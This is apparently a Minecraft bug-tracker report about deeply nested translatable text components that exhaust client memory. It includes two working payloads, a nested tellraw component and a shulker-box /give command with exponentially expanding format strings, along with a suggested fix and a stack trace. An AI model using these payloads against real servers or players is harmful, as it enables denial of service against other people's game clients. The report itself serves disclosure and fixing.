Nested component soft-crashes client
Sending the following json component to a player (e.g. via a command block and the tellraw command) will immediately freeze and shortly after kick the client from running out of memory. Not entirely sure where else this is exploitable, but definitely from non-op creative mode clients as well.
After that, you're also unable to join any servers until you fully restart the client, just being stuck in the "Joining world" screen. A similar issue happens when trying to join a survival world before restarting.
How to reproduce
Two examples of doing the same thing, both components you can also put into a tellraw command. For the shulker box, you need to place and open it (meaning a creative mode client with a saved hotbar can easily place it and wait to crash other people/servers).
Depending on the method, you will either immediately OOM and crash or permanently freeze
{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":[{"translate":"translation.test.complex","with":["root","",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]},"",""]}
/give @a minecraft:shulker_box[minecraft:custom_name='{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":[{"translate":"%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s%1$s","with":["hhhhhhhhhh"]}]}]}]}]}]}]}]}]}]}]}']
Possible fix
Paper's bandaid fix checks for nesting levels during individual translatable visits: https://github.com/PaperMC/Paper/blob/d348cb88a9fe8d19e46102c8b9febe18f746d46b/patches/server/0945-Improve-tag-parser-handling.patch#L199 lines 199-233,
OOM error
[11:39:37] [Render thread/ERROR]: Out of memory java.lang.OutOfMemoryError: Java heap space at java.util.Arrays.copyOf(Arrays.java:3537) ~[?:?] at java.lang.AbstractStringBuilder.ensureCapacityInternal(AbstractStringBuilder.java:228) ~[?:?] at java.lang.AbstractStringBuilder.append(AbstractStringBuilder.java:802) ~[?:?] at java.lang.StringBuilder.append(StringBuilder.java:246) ~[?:?] at java.lang.StringBuilder.append(StringBuilder.java:91) ~[?:?] at java.lang.AbstractStringBuilder.appendCodePoint(AbstractStringBuilder.java:947) ~[?:?] at java.lang.StringBuilder.appendCodePoint(StringBuilder.java:280) ~[?:?] at avj.a(SourceFile:143) ~[1.20.4.jar:?] at avj$$Lambda$6881/0x0000000800da4610.accept(Unknown Source) ~[?:?] at avj.a(SourceFile:17) ~[1.20.4.jar:?] at avj.a(SourceFile:120) ~[1.20.4.jar:?] at avj.a(SourceFile:84) ~[1.20.4.jar:?] at avj.a(SourceFile:128) ~[1.20.4.jar:?] at avj$$Lambda$6042/0x0000000800bbe200.accept(Unknown Source) ~[?:?] at vk$2.a(SourceFile:37) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?] at vf.a(SourceFile:96) ~[1.20.4.jar:?] at wq.a(SourceFile:185) ~[1.20.4.jar:?]